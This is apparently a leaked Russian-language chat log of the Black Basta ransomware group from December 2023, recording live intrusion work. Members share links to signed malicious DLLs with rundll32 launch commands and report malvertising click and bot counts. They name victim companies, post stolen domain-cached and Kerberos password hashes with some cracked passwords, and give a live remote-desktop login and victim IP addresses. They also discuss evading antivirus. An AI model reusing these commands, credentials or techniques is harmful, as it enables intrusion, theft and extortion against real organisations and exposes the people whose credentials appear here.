@w:matrixtcFJHPDblmt2rg.network
скачивание и бот
2023-12-12 18:25:45
@w:matrixtcFJHPDblmt2rg.network
есть первый
2023-12-12 18:41:05
Black Basta
[21:35:51] RSA: принял, https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis
2023-12-12 18:43:36
@usernameyy:matrix.bestflowers247.online
да тут в общих чертах про басту 2, мало очень инфы
2023-12-12 18:43:48
@usernameyy:matrix.bestflowers247.online
у trendmicro статья хорошая
2023-12-12 18:44:00
@lapa:matrix.bestflowers247.online
тут ?
2023-12-12 18:44:20
Black Basta
скинь статью на trendmicro
2023-12-12 18:45:52
@usernameyy:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> [21:35:51] RSA: принял, https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis
2023-12-12 18:45:53
@usernameyy:matrix.bestflowers247.online
https://www.trendmicro.com/en_vn/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html
2023-12-12 18:45:59
@usernameyy:matrix.bestflowers247.online
тут тоже про первую
2023-12-12 18:48:21
@usernameyy:matrix.bestflowers247.online
ты презентуешь нас типа:
2023-12-12 18:48:22
@usernameyy:matrix.bestflowers247.online
?
2023-12-12 18:48:34
Black Basta
[21:28:48] mrlapis: const
2023-12-12 18:49:56
Black Basta
lf
2023-12-12 18:49:57
Black Basta
da
2023-12-12 18:50:20
Black Basta
все на сегодня
2023-12-12 18:50:30
Black Basta
сейчас от кобы еще дам
2023-12-12 18:50:31
Black Basta
сек
2023-12-12 18:51:38
Black Basta
http://temp.sh/OHvSx/35S44386.xls
2023-12-12 18:51:43
Black Basta
dll это
2023-12-12 18:51:45
@lapa:matrix.bestflowers247.online
+
2023-12-12 18:53:33
@w:matrixtcFJHPDblmt2rg.network
++++
2023-12-12 18:53:34
Black Basta
++
2023-12-12 18:54:02
@lapa:matrix.bestflowers247.online
signed_35S44386.dll
2023-12-12 18:54:32
@lapa:matrix.bestflowers247.online
все. могу офаться?
2023-12-12 18:56:20
Black Basta
да
2023-12-12 18:56:44
@lapa:matrix.bestflowers247.online
лан. отойду. если что в тг буду
2023-12-12 18:56:44
Black Basta
но у нас нет софта куда мы можем спокойно брать в работу таргеты
2023-12-12 18:56:47
@lapa:matrix.bestflowers247.online
до завтра
2023-12-12 18:56:49
Black Basta
++
2023-12-12 18:56:52
Black Basta
до завтра
2023-12-12 18:56:55
Black Basta
спасибо
2023-12-12 18:57:07
Black Basta
signed_35S44386.dll
2023-12-12 18:57:20
@usernameyy:matrix.bestflowers247.online
да есть уже на финишной, надо доработать
2023-12-12 18:57:26
@usernameyy:matrix.bestflowers247.online
я эти наработки пинга взял с брейкера
2023-12-12 18:57:34
@usernameyy:matrix.bestflowers247.online
щас в брейкере доделаю это и будет бомба
2023-12-12 18:57:42
@usernameyy:matrix.bestflowers247.online
но как с ав справляться я хз
2023-12-12 18:57:50
@usernameyy:matrix.bestflowers247.online
то что ты сказал что тут целая команда нужна - так и есть)
2023-12-12 18:58:33
Black Basta
rundll32.exe 35S44386.dll,ReleaseImage
2023-12-12 18:58:43
Black Basta
подписанный
2023-12-12 19:00:17
@usernamemm:matrix.bestflowers247.online
это новый подписаный, что я отправил?
2023-12-12 19:04:42
Black Basta
как можно доказать человеку что мы владельцы басты ?)
2023-12-12 19:04:46
Black Basta
я ступоре просто
2023-12-12 19:04:54
@usernameyy:matrix.bestflowers247.online
давай чат ему создам))
2023-12-12 19:05:13
Black Basta
> <@usernameyy:matrix.bestflowers247.online> но как с ав справляться я хз
2023-12-12 19:05:32
@usernameyy:matrix.bestflowers247.online
да, днс тоже, но я пока не пон как он работает
2023-12-12 19:05:36
@usernameyy:matrix.bestflowers247.online
разбора нет нормального
2023-12-12 19:05:46
@usernameyy:matrix.bestflowers247.online
пинг тоже не палится, даже топ фаервол не видит его на той сетке
2023-12-12 19:05:54
@usernameyy:matrix.bestflowers247.online
а там какой то глубокий анализ пакетов идет
2023-12-12 19:07:34
Black Basta
вот с большими таргетами реально капец
2023-12-12 19:09:03
Black Basta
[22:08:39] RSA: тушить точно не надо)
2023-12-12 19:09:45
@usernameyy:matrix.bestflowers247.online
ок
2023-12-12 19:09:51
Black Basta
в блоге
2023-12-12 19:09:53
Black Basta
сделай сейчас
2023-12-12 19:09:55
@usernameyy:matrix.bestflowers247.online
да офк
2023-12-12 19:10:08
Black Basta
что
2023-12-12 19:10:15
@usernameyy:matrix.bestflowers247.online
да конечно
2023-12-12 19:10:25
Black Basta
пару минут ему скащал
2023-12-12 19:12:07
@usernameyy:matrix.bestflowers247.online
http://stniiomyjliimcgkvdszvgen3eaaoz55hreqqx6o77yvmpwt7gklffqd.onion/asdfghjkl/iwhfawiofhawieof.txt
2023-12-12 19:12:53
@usernamess:matrix.bestflowers247.online
Ты когда доступы скинешь?
2023-12-12 19:13:07
Black Basta
уже хочешь ?)
2023-12-12 19:13:13
@usernamess:matrix.bestflowers247.online
нет)
2023-12-12 19:13:14
Black Basta
сейчас договариваюсь
2023-12-12 19:13:17
@usernamess:matrix.bestflowers247.online
у меня есть
2023-12-12 19:13:20
@usernamess:matrix.bestflowers247.online
ты же скинул
2023-12-12 19:13:46
@usernameyy:matrix.bestflowers247.online
удаляю?
2023-12-12 19:13:59
Black Basta
++
2023-12-12 19:14:47
@usernamess:matrix.bestflowers247.online
мне там в трасте расшифровали доменного
2023-12-12 19:15:00
Black Basta
++
2023-12-12 19:15:01
@usernamess:matrix.bestflowers247.online
была изморось с одеванием кред потому что заблочено
2023-12-12 19:15:07
Black Basta
очень хорошие новости
2023-12-12 19:15:13
@usernamess:matrix.bestflowers247.online
ну а потом еще в систему нельзя инжектить
2023-12-12 19:15:14
Black Basta
сек
2023-12-12 19:15:24
@usernamess:matrix.bestflowers247.online
\как будто процессы заблочену
2023-12-12 19:15:30
Black Basta
да
2023-12-12 19:15:31
Black Basta
удаляй
2023-12-12 19:15:34
Black Basta
все
2023-12-12 19:15:40
@usernamess:matrix.bestflowers247.online
* \\как будто процессы запротекчены
2023-12-12 19:15:58
@usernamess:matrix.bestflowers247.online
я пошел по рдп и позвал тачку
2023-12-12 19:16:06
@usernamess:matrix.bestflowers247.online
ну в общем на порту щас она
2023-12-12 19:16:14
@usernamess:matrix.bestflowers247.online
и там ав неочень. ну в этом трасте
2023-12-12 19:17:12
@ssd:matrix.bestflowers247.online
kak tam
2023-12-12 19:18:49
@usernameyy:matrix.bestflowers247.online
я завтра на переливание пойду с 11:30 до 13 где то для волос
2023-12-12 19:20:38
@ssd:matrix.bestflowers247.online
идет траф
2023-12-12 19:20:40
@ssd:matrix.bestflowers247.online
?
2023-12-12 19:20:52
Black Basta
[18:23:25] user0 - пиджак локер : нет там деф лютует просто, я на конфах сейчас пары софтин- у всех проблема возникла
2023-12-12 19:22:20
@usernamess:matrix.bestflowers247.online
> <@usernamess:matrix.bestflowers247.online> sent a file.
2023-12-12 19:22:24
@usernamess:matrix.bestflowers247.online
AGCNA_adm_kekhash.txt
2023-12-12 19:22:25
@usernamess:matrix.bestflowers247.online
BELLDOM_all_kekhash.txt
2023-12-12 19:23:13
@ssd:matrix.bestflowers247.online
сколько
2023-12-12 19:23:38
@w:matrixtcFJHPDblmt2rg.network
да
2023-12-12 19:23:45
Black Basta
rc4 и мета, получается тоже на паблик софте работаете
2023-12-12 19:23:59
@w:matrixtcFJHPDblmt2rg.network
окей, щас сделаю
2023-12-12 19:24:07
Black Basta
> <@usernamess:matrix.bestflowers247.online> и там ав неочень. ну в этом трасте
2023-12-12 19:24:09
Black Basta
6ть ?
2023-12-12 19:24:20
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> 6ть ?
2023-12-12 19:24:26
@muaddib6:matrix.org
> <@usernamegg:matrix.bestflowers247.online> жду
2023-12-12 19:24:27
@usernamess:matrix.bestflowers247.online
от туда видно 6
2023-12-12 19:24:32
@muaddib6:matrix.org
5.7z
2023-12-12 19:24:34
Black Basta
ооо понял
2023-12-12 19:24:41
@muaddib6:matrix.org
rundll32 file.dll, messageProc
2023-12-12 19:24:41
@w:matrixtcFJHPDblmt2rg.network
55 уников попали на лендос
2023-12-12 19:24:44
Black Basta
спасибо
2023-12-12 19:24:47
@w:matrixtcFJHPDblmt2rg.network
всего 186 кликов
2023-12-12 19:24:52
@muaddib6:matrix.org
Рад стараться )
2023-12-12 19:25:04
Black Basta
++
2023-12-12 19:25:09
Black Basta
5.7z
2023-12-12 19:25:15
@w:matrixtcFJHPDblmt2rg.network
скачало 18 уников
2023-12-12 19:25:15
Black Basta
rundll32 file.dll, messageProc
2023-12-12 19:25:19
@w:matrixtcFJHPDblmt2rg.network
включая поми тесты
2023-12-12 19:25:29
@w:matrixtcFJHPDblmt2rg.network
* включая мои тесты
2023-12-12 19:25:35
Black Basta
++
2023-12-12 19:25:42
@w:matrixtcFJHPDblmt2rg.network
Ботов - 7 штук
2023-12-12 19:26:48
@ssd:matrix.bestflowers247.online
ладно льем
2023-12-12 19:26:53
Black Basta
++
2023-12-12 19:26:54
@ssd:matrix.bestflowers247.online
посмотрим что получится из этого
2023-12-12 19:27:01
@ssd:matrix.bestflowers247.online
сегодня до ночи
2023-12-12 19:27:04
@ssd:matrix.bestflowers247.online
01
2023-12-12 19:27:07
@ssd:matrix.bestflowers247.online
ебашим
2023-12-12 19:27:08
@ssd:matrix.bestflowers247.online
пфу пфу
2023-12-12 19:27:19
@ssd:matrix.bestflowers247.online
тут
2023-12-12 19:27:40
@ssd:matrix.bestflowers247.online
https://www.zeiss.com/
2023-12-12 19:27:43
@ssd:matrix.bestflowers247.online
есть сетка
2023-12-12 19:28:33
Black Basta
++
2023-12-12 19:28:51
@w:matrixtcFJHPDblmt2rg.network
окей
2023-12-12 19:28:55
@ssd:matrix.bestflowers247.online
Philips
2023-12-12 19:28:59
@ssd:matrix.bestflowers247.online
и еще одна
2023-12-12 19:29:18
@ssd:matrix.bestflowers247.online
кмд есть
2023-12-12 19:29:21
@ssd:matrix.bestflowers247.online
запустить
2023-12-12 19:29:22
@ssd:matrix.bestflowers247.online
берешь
2023-12-12 19:29:25
@ssd:matrix.bestflowers247.online
?
2023-12-12 19:29:26
Black Basta
iPika чекаем траф пошел туда
2023-12-12 19:29:33
@usernameww:matrix.bestflowers247.online
++
2023-12-12 19:29:33
Black Basta
SSD_TR_1
2023-12-12 19:30:18
@w:matrixtcFJHPDblmt2rg.network
я щас бурито скинул на крипт DLL для трафа
2023-12-12 19:30:30
@w:matrixtcFJHPDblmt2rg.network
с ним сделаю
2023-12-12 19:30:36
@w:matrixtcFJHPDblmt2rg.network
ляписа опять началао палить при скачивании
2023-12-12 19:30:51
@w:matrixtcFJHPDblmt2rg.network
щас для пиджака запущу билд
2023-12-12 19:31:37
@w:matrixtcFJHPDblmt2rg.network
пиджаку только exe?
2023-12-12 19:33:46
@ssd:matrix.bestflowers247.online
тим слак ани отклонились обьявы одновременно
2023-12-12 19:33:49
@ssd:matrix.bestflowers247.online
ужас(
2023-12-12 19:34:28
Black Basta
info.txt
2023-12-12 19:34:30
Black Basta
domain admins.txt
2023-12-12 19:34:32
Black Basta
WIFI.rtf
2023-12-12 19:34:33
Black Basta
URLs from browser history.txt
2023-12-12 19:34:45
Black Basta
Secure Emails.rtf
2023-12-12 19:34:46
Black Basta
samdump2.txt
2023-12-12 19:34:46
Black Basta
Remote Access.rtf
2023-12-12 19:34:47
Black Basta
kerberos from lsass cache.txt
2023-12-12 19:35:05
Black Basta
samdump2 и kerberos from lsass cache
2023-12-12 19:35:08
@w:matrixtcFJHPDblmt2rg.network
ага
2023-12-12 19:35:12
@w:matrixtcFJHPDblmt2rg.network
только зум летит?
2023-12-12 19:35:13
Black Basta
на расшифровку сразу отдайте
2023-12-12 19:35:29
Black Basta
https://www.zoominfo.com/c/kemp-smith-llp/37489667
2023-12-12 19:35:42
Black Basta
это по ним инфу прогер там уже с таргета выдерает
2023-12-12 19:36:17
Black Basta
++
2023-12-12 19:36:19
Black Basta
да
2023-12-12 19:36:21
Black Basta
конечно
2023-12-12 19:37:21
Black Basta
да
2023-12-12 19:37:24
Black Basta
и длл
2023-12-12 19:37:30
Black Basta
ехе и длл сделай
2023-12-12 19:37:32
Black Basta
на всякий
2023-12-12 19:40:07
@w:matrixtcFJHPDblmt2rg.network
окей
2023-12-12 19:40:33
@ssd:matrix.bestflowers247.online
дай файл
2023-12-12 19:40:36
@ssd:matrix.bestflowers247.online
на линк передам
2023-12-12 19:40:47
Black Basta
> <@usernamegg:matrix.bestflowers247.online> на расшифровку сразу отдайте
2023-12-12 19:41:03
Black Basta
iPika чекайте там таргеты идут
2023-12-12 19:41:10
@w:matrixtcFJHPDblmt2rg.network
jrtq
2023-12-12 19:41:18
@w:matrixtcFJHPDblmt2rg.network
скоро скину
2023-12-12 19:41:19
@w:matrixtcFJHPDblmt2rg.network
exe уже готов
2023-12-12 19:41:19
@usernamezz:matrix.bestflowers247.online
image.png
2023-12-12 19:41:33
@usernamezz:matrix.bestflowers247.online
тут не керберосы, тикеты тачек
2023-12-12 19:41:36
@usernamemm:matrix.bestflowers247.online
`$DCC2$10240#if1#f157b5e3074bb8b91509e20f60a5361c`
2023-12-12 19:41:55
@usernamemm:matrix.bestflowers247.online
`$DCC2$10240#netwrix_svc#d3daeb67f7514661f89f2bc447775e5f`
2023-12-12 19:42:24
@usernamezz:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> sent a file.
2023-12-12 19:42:27
Black Basta
http://temp.sh/RqNAb/signed_35S44386.dll
2023-12-12 19:43:12
Black Basta
аа
2023-12-12 19:43:15
Black Basta
хорошо
2023-12-12 19:44:40
Black Basta
rundll32.exe 35S44386.dll,ReleaseImage
2023-12-12 19:44:40
@ssd:matrix.bestflowers247.online
как запустить через кмд
2023-12-12 19:44:59
Black Basta
> <@usernamegg:matrix.bestflowers247.online> rundll32.exe 35S44386.dll,ReleaseImage
2023-12-12 19:45:16
Black Basta
если не отработает дам другую пачку
2023-12-12 19:45:59
@ssd:matrix.bestflowers247.online
ок
2023-12-12 19:46:09
@ssd:matrix.bestflowers247.online
у нас по трафу чет упало все
2023-12-12 19:46:13
@ssd:matrix.bestflowers247.online
щас поменяем
2023-12-12 19:47:20
Black Basta
ок
2023-12-12 19:47:32
Black Basta
> <@ssd:matrix.bestflowers247.online> https://www.zeiss.com/
2023-12-12 19:47:45
Black Basta
http://temp.sh/oVtJo/singed1212_2.zip
2023-12-12 19:47:47
@ssd:matrix.bestflowers247.online
на бот нет к пацанам тока бота написали
2023-12-12 19:47:49
@ssd:matrix.bestflowers247.online
помнишь
2023-12-12 19:47:50
Black Basta
BYE7aCWKZb60G3SBhtYm41xC9H2Ce6K2W
2023-12-12 19:47:59
@ssd:matrix.bestflowers247.online
ты искал гоыори свои пацаны софт писали
2023-12-12 19:48:00
@ssd:matrix.bestflowers247.online
есть
2023-12-12 19:48:12
@ssd:matrix.bestflowers247.online
вот они начали грузить
2023-12-12 19:48:18
@ssd:matrix.bestflowers247.online
им сети пошли
2023-12-12 19:48:25
@ssd:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> BYE7aCWKZb60G3SBhtYm41xC9H2Ce6K2W
2023-12-12 19:48:58
Black Basta
++
2023-12-12 19:49:05
Black Basta
залей все на temp.sh
2023-12-12 19:49:07
Black Basta
и ехе
2023-12-12 19:49:24
Black Basta
> <@w:matrixtcFJHPDblmt2rg.network> exe и dll
2023-12-12 19:49:29
Black Basta
сам залью щаъ
2023-12-12 19:49:40
Black Basta
скоро придет бурито
2023-12-12 19:49:42
@w:matrixtcFJHPDblmt2rg.network
PASS: f6f355ec2d816d209f78862cdb5497ae
2023-12-12 19:49:43
@w:matrixtcFJHPDblmt2rg.network
USER0_TRAFF.7z
2023-12-12 19:49:45
@w:matrixtcFJHPDblmt2rg.network
djn nfv 2 afqkf
2023-12-12 19:49:48
@w:matrixtcFJHPDblmt2rg.network
вот там 2 файла
2023-12-12 19:49:51
@w:matrixtcFJHPDblmt2rg.network
exe и dll
2023-12-12 19:50:04
@w:matrixtcFJHPDblmt2rg.network
оба билда проверил
2023-12-12 19:50:05
@w:matrixtcFJHPDblmt2rg.network
чистые
2023-12-12 19:50:07
@w:matrixtcFJHPDblmt2rg.network
и полностью уники
2023-12-12 19:50:30
@w:matrixtcFJHPDblmt2rg.network
а бурито на связи сегодня?
2023-12-12 19:50:34
@w:matrixtcFJHPDblmt2rg.network
сек, щшас
2023-12-12 19:50:37
Black Basta
++
2023-12-12 19:50:40
@w:matrixtcFJHPDblmt2rg.network
ага, окей
2023-12-12 19:50:45
@ssd:matrix.bestflowers247.online
да
2023-12-12 19:50:50
@w:matrixtcFJHPDblmt2rg.network
окей
2023-12-12 19:50:52
@w:matrixtcFJHPDblmt2rg.network
хорошо
2023-12-12 19:50:53
@w:matrixtcFJHPDblmt2rg.network
отойду пока
2023-12-12 19:50:54
@ssd:matrix.bestflowers247.online
адоб в бюджет уперся
2023-12-12 19:50:56
@w:matrixtcFJHPDblmt2rg.network
в душ схожу
2023-12-12 19:50:59
Black Basta
> <@ssd:matrix.bestflowers247.online> ты искал гоыори свои пацаны софт писали
2023-12-12 19:51:02
@w:matrixtcFJHPDblmt2rg.network
а то домщнуюю треню закончил делать
2023-12-12 19:51:04
@ssd:matrix.bestflowers247.online
с 7 норм шло в другое место
2023-12-12 19:51:06
@ssd:matrix.bestflowers247.online
ладно решим ща
2023-12-12 19:51:19
@w:matrixtcFJHPDblmt2rg.network
минут 15 и буду
2023-12-12 19:51:34
Black Basta
> <@usernamegg:matrix.bestflowers247.online> BYE7aCWKZb60G3SBhtYm41xC9H2Ce6K2W
2023-12-12 19:53:24
Black Basta
они мне от днс заливали фаил криптовнный ?
2023-12-12 19:53:31
@cameron777:matrix.org
Bot ID C1000416-VDA1_plor_5DCAD8E5
2023-12-12 19:53:36
@usernamess:matrix.bestflowers247.online
я заливал
2023-12-12 19:53:56
@usernamejj:matrix.bestflowers247.online
> <@cameron777:matrix.org> Bot ID C1000416-VDA1_plor_5DCAD8E5
2023-12-12 19:54:12
@usernamess:matrix.bestflowers247.online
```
2023-12-12 19:55:24
@usernamemm:matrix.bestflowers247.online
`$DCC2$10240#itsupport#88e7b6bb99296e572542ccc31f381c82`
2023-12-12 19:55:34
@usernamemm:matrix.bestflowers247.online
`$DCC2$10240#uda.heni#df1ba078e18bf24a6675057374512434`
2023-12-12 19:55:51
@usernamemm:matrix.bestflowers247.online
`$DCC2$10240#Troy.Gilbertson#a089802fcc3089403acabe3ee5263857`
2023-12-12 20:00:12
@usernamess:matrix.bestflowers247.online
`$DCC2$10240#John.Hommell#91f248e650f3d990d2d1c30fc720bc39`
2023-12-12 20:01:04
@ssd:matrix.bestflowers247.online
не могут они
2023-12-12 20:01:06
@ssd:matrix.bestflowers247.online
чето
2023-12-12 20:01:20
@ssd:matrix.bestflowers247.online
не шарят
2023-12-12 20:01:21
@ssd:matrix.bestflowers247.online
сек
2023-12-12 20:01:54
@ssd:matrix.bestflowers247.online
че еще прибавилось чего
2023-12-12 20:03:52
@ssd:matrix.bestflowers247.online
кобу нельзя выдать кодом для командной строки, что ли?
2023-12-12 20:04:15
Black Basta
можно
2023-12-12 20:04:19
@ssd:matrix.bestflowers247.online
или пс
2023-12-12 20:04:21
@ssd:matrix.bestflowers247.online
1
2023-12-12 20:04:26
Black Basta
спалит ав
2023-12-12 20:04:27
@ssd:matrix.bestflowers247.online
объесни
2023-12-12 20:04:32
Black Basta
rundll32.exe 35S44386.dll,ReleaseImage
2023-12-12 20:04:34
@ssd:matrix.bestflowers247.online
понял
2023-12-12 20:04:39
Black Basta
ты им дал запуск ?
2023-12-12 20:04:45
@ssd:matrix.bestflowers247.online
да
2023-12-12 20:05:02
Black Basta
дай я поговорю
2023-12-12 20:05:19
@usernamess:matrix.bestflowers247.online
Total computers on domain agc.jp: 82944
2023-12-12 20:05:27
@usernamess:matrix.bestflowers247.online
🤔
2023-12-12 20:05:43
Black Basta
все как мы любим
2023-12-12 20:09:07
@ssd:matrix.bestflowers247.online
[23:05:44] t: можно инвоком затянуть длл сперва на бота и там запустить
2023-12-12 20:11:52
Black Basta
https://apps.windcomservices.com:80/RDWeb/Pages/en-US/login.aspx wcs\demo:Password1
2023-12-12 20:12:01
@usernamezz:matrix.bestflowers247.online
++
2023-12-12 20:12:04
Black Basta
> <@usernamegg:matrix.bestflowers247.online> https://apps.windcomservices.com:80/RDWeb/Pages/en-US/login.aspx wcs\demo:Password1
2023-12-12 20:12:20
@usernamezz:matrix.bestflowers247.online
\+
2023-12-12 20:12:33
@cameron777:matrix.org
13.52.211.166
2023-12-12 20:12:50
@cameron777:matrix.org
otkril tam papka v desktope
2023-12-12 20:13:09
@cameron777:matrix.org
> <@usernamevv:matrix.bestflowers247.online> whafh.com v offe ?
2023-12-12 20:13:54
@cameron777:matrix.org
esho 10.26.251.55 etot RPD pod admina no passa netu
2023-12-12 20:13:59
@cameron777:matrix.org
kto beryot?
2023-12-12 20:14:15
@w:matrixtcFJHPDblmt2rg.network
62 на лендос
2023-12-12 20:15:10
@ssd:matrix.bestflowers247.online
ага
2023-12-12 20:15:11
@ssd:matrix.bestflowers247.online
понял
2023-12-12 20:15:13
@ssd:matrix.bestflowers247.online
я
2023-12-12 20:15:15
Black Basta
прикрывай VV
2023-12-12 20:15:19
Black Basta
в чате таргетс
2023-12-12 20:15:23
Black Basta
раз он уехал
2023-12-12 20:15:30
@usernamejj:matrix.bestflowers247.online
хорошо
2023-12-12 20:15:45
@ssd:matrix.bestflowers247.online
у нас ушло все на апелл
2023-12-12 20:16:11
@ssd:matrix.bestflowers247.online
щас другие пустим
2023-12-12 20:16:13
@ssd:matrix.bestflowers247.online
аки
2023-12-12 20:16:15
@ssd:matrix.bestflowers247.online
да будет
2023-12-12 20:16:19
@usernamejj:matrix.bestflowers247.online
> <@cameron777:matrix.org> etot tozhe otkrito esho
2023-12-12 20:16:20
@ssd:matrix.bestflowers247.online
а так завтра начнем с 16
2023-12-12 20:16:28
@cameron777:matrix.org
nu mozhno zakrit' ?
2023-12-12 20:16:30
@ssd:matrix.bestflowers247.online
зум точно
2023-12-12 20:16:32
@ssd:matrix.bestflowers247.online
будкет
2023-12-12 20:16:34
@usernamejj:matrix.bestflowers247.online
да
2023-12-12 20:16:36
@ssd:matrix.bestflowers247.online
сегодня
2023-12-12 20:16:58
@usernamemm:matrix.bestflowers247.online
давай заберем
2023-12-12 20:17:08
@w:matrixtcFJHPDblmt2rg.network
сегодня будет что то или борода?
2023-12-12 20:17:21
@cameron777:matrix.org
> <@cameron777:matrix.org> 13.52.211.166
2023-12-12 20:17:25
@w:matrixtcFJHPDblmt2rg.network
окей
2023-12-12 20:17:26
@w:matrixtcFJHPDblmt2rg.network
хорошо
2023-12-12 20:17:31
@usernamemm:matrix.bestflowers247.online
> <@cameron777:matrix.org> 13.52.211.166
2023-12-12 20:18:51
@ssd:matrix.bestflowers247.online
из 7 ботов корп хоть были
2023-12-12 20:20:33
@w:matrixtcFJHPDblmt2rg.network
> <@ssd:matrix.bestflowers247.online> из 7 ботов корп хоть были
2023-12-12 20:22:07
@cameron777:matrix.org
leclairgroup.com
2023-12-12 20:22:12
@cameron777:matrix.org
vi dobavili
2023-12-12 20:23:07
@cameron777:matrix.org
etix tak i ne dobavil)
2023-12-12 20:23:21
@cameron777:matrix.org
* etix tak i ne dobavili)
2023-12-12 20:24:30
Black Basta
так
2023-12-12 20:24:32
Black Basta
сейчас
2023-12-12 20:25:20
@cameron777:matrix.org
GLUEK < zasvetili ? im napishite xotya bi)
2023-12-12 20:25:24
@cameron777:matrix.org
* GLUEK \< zasvetili ? im napishite xotya bi)
2023-12-12 20:26:02
@cameron777:matrix.org
Data exposure in:
2023-12-12 20:26:34
Black Basta
leclairgroup.com - добавлены у тебя
2023-12-12 20:26:44
Black Basta
> <@cameron777:matrix.org> GLUEK \< zasvetili ? im napishite xotya bi)
2023-12-12 20:26:55
Black Basta
> <@cameron777:matrix.org> Data exposure in:
2023-12-12 20:27:01
@cameron777:matrix.org
navitaspet.com - добавлены у тебя << chata netu
2023-12-12 20:27:12
@cameron777:matrix.org
bilo shas netu
2023-12-12 20:27:22
@cameron777:matrix.org
sorry
2023-12-12 20:27:26
@cameron777:matrix.org
shas uzhe est')0
2023-12-12 20:27:29
@cameron777:matrix.org
* shas uzhe est')
2023-12-12 20:27:30
Black Basta
++
2023-12-12 20:27:45
Black Basta
все хорошо
2023-12-12 20:27:48
Black Basta
переспрашивай
2023-12-12 20:27:49
@lapa:matrix.bestflowers247.online
+
2023-12-12 20:27:53
Black Basta
если кого то не видишь
2023-12-12 20:27:56
@cameron777:matrix.org
leclairgroup.com < tak etot kakoy imenno
2023-12-12 20:28:02
@cameron777:matrix.org
ya uzhe zaputalsya
2023-12-12 20:28:24
@w:matrixtcFJHPDblmt2rg.network
image.png
2023-12-12 20:28:32
Black Basta
leclairgroup.com
2023-12-12 20:28:34
@w:matrixtcFJHPDblmt2rg.network
вот стата детальнее если что
2023-12-12 20:28:54
@w:matrixtcFJHPDblmt2rg.network
нас больше всего интересует money hits
2023-12-12 20:29:16
@w:matrixtcFJHPDblmt2rg.network
* нас больше всего интересует money uniques
2023-12-12 20:29:27
Black Basta
оо
2023-12-12 20:29:32
Black Basta
привет )
2023-12-12 20:29:47
@lapa:matrix.bestflowers247.online
подписываю
2023-12-12 20:30:17
Black Basta
в мету есть стук ?
2023-12-12 20:30:20
Black Basta
файл лежит в C:\ProgramData\Kofax\PDF.dll
2023-12-12 20:30:39
@cameron777:matrix.org
ok ne mogu ego domen vspomnit'
2023-12-12 20:30:58
@w:matrixtcFJHPDblmt2rg.network
на минут 20 отойду, скоро буду
2023-12-12 20:31:10
@usernamett:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> в мету есть стук ?
2023-12-12 20:31:23
@usernamemm:matrix.bestflowers247.online
> <@usernamemm:matrix.bestflowers247.online> ++
2023-12-12 20:32:25
Black Basta
JSTA-365 имя тачки
2023-12-12 20:33:24
@cameron777:matrix.org
otkril, zaxodi
2023-12-12 20:33:31
@usernamemm:matrix.bestflowers247.online
++
2023-12-12 20:33:34
@usernamemm:matrix.bestflowers247.online
csps
2023-12-12 20:33:38
Black Basta
2023-12-12 20:33:44
Black Basta
вот этот еще проврить надо
2023-12-12 20:34:14
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> вот этот еще проврить надо
2023-12-12 20:34:19
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> вот этот еще проврить надо
2023-12-12 20:34:30
Black Basta
мету и днс
2023-12-12 20:34:39
Black Basta
листенеры переподними
2023-12-12 20:34:42
@lapa:matrix.bestflowers247.online
The certificate table isn't at the end of the file and can't be moved without invalidating the signature
2023-12-12 20:34:43
@cameron777:matrix.org
otkril papku ?
2023-12-12 20:34:44
@usernameyy:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> моем спросить любые вопросы
2023-12-12 20:34:47
@lapa:matrix.bestflowers247.online
не хочет подписывать какие-то файлы
2023-12-12 20:34:49
@lapa:matrix.bestflowers247.online
разбираюсь
2023-12-12 20:34:55
@usernameyy:matrix.bestflowers247.online
image.png
2023-12-12 20:35:01
@usernameyy:matrix.bestflowers247.online
у меня опять это
2023-12-12 20:35:14
@usernamejj:matrix.bestflowers247.online
`$DCC2$10240#Administrator#c028086147312fa935e615e36b213660`
2023-12-12 20:35:19
@usernamess:matrix.bestflowers247.online
CDB180_all_kekhash.txt
2023-12-12 20:35:27
@usernamemm:matrix.bestflowers247.online
нет
2023-12-12 20:35:38
@cameron777:matrix.org
ne mozhesh ili ne nuzhno ?
2023-12-12 20:35:42
Black Basta
хм
2023-12-12 20:35:47
@usernamemm:matrix.bestflowers247.online
не могу
2023-12-12 20:35:51
@usernamemm:matrix.bestflowers247.online
не понимаю какую
2023-12-12 20:35:51
@cameron777:matrix.org
6 raz shift nazhmi
2023-12-12 20:35:56
@username777:matrix.bestflowers247.online
$krb5tgs$23$*SAPServiceKQ3$agc.jp$BPMSSO/SAPServiceKQ3.agc.jp@agc.jp*$e46d5a513842a6eabee...dc26067dfb:p@ssw0rd
2023-12-12 20:35:57
@usernamett:matrix.bestflowers247.online
переподнял
2023-12-12 20:35:57
Black Basta
ок
2023-12-12 20:36:01
@usernamemm:matrix.bestflowers247.online
сек
2023-12-12 20:36:14
@cameron777:matrix.org
potom zakroy vse krome citrixa potom po linku tam klikani
2023-12-12 20:36:20
@cameron777:matrix.org
otkroetsya control panel
2023-12-12 20:36:30
@username777:matrix.bestflowers247.online
$krb5tgs$23$*SAPServiceKQ7$agc.jp$BPMSSO/SAPserviceKQ7.agc.jp@agc.jp*$586893d48a3214c4c36...0d00f5db4a:p@ssw0rd
2023-12-12 20:36:46
@usernamehunter:matrix.bestflowers247.online
$krb5tgs$23$*AGEUCPPORTAL$agc.jp$HTTP/cpportal-be.agc.jp@agc.jp*$6fa25dd4b2юююю47e5f251edb7d:Mecano53
2023-12-12 20:37:04
@usernamemm:matrix.bestflowers247.online
открыть можешь как вначале было\
2023-12-12 20:37:09
@cameron777:matrix.org
ok
2023-12-12 20:37:35
@cameron777:matrix.org
zakrili
2023-12-12 20:37:38
@cameron777:matrix.org
shas otkrivayu
2023-12-12 20:37:42
@usernamemm:matrix.bestflowers247.online
++
2023-12-12 20:37:50
@cameron777:matrix.org
connect
2023-12-12 20:37:55
@lapa:matrix.bestflowers247.online
DEMSF443_thread.dll не подписывает
2023-12-12 20:38:10
@cameron777:matrix.org
zaxodi
2023-12-12 20:38:17
@usernamemm:matrix.bestflowers247.online
ок
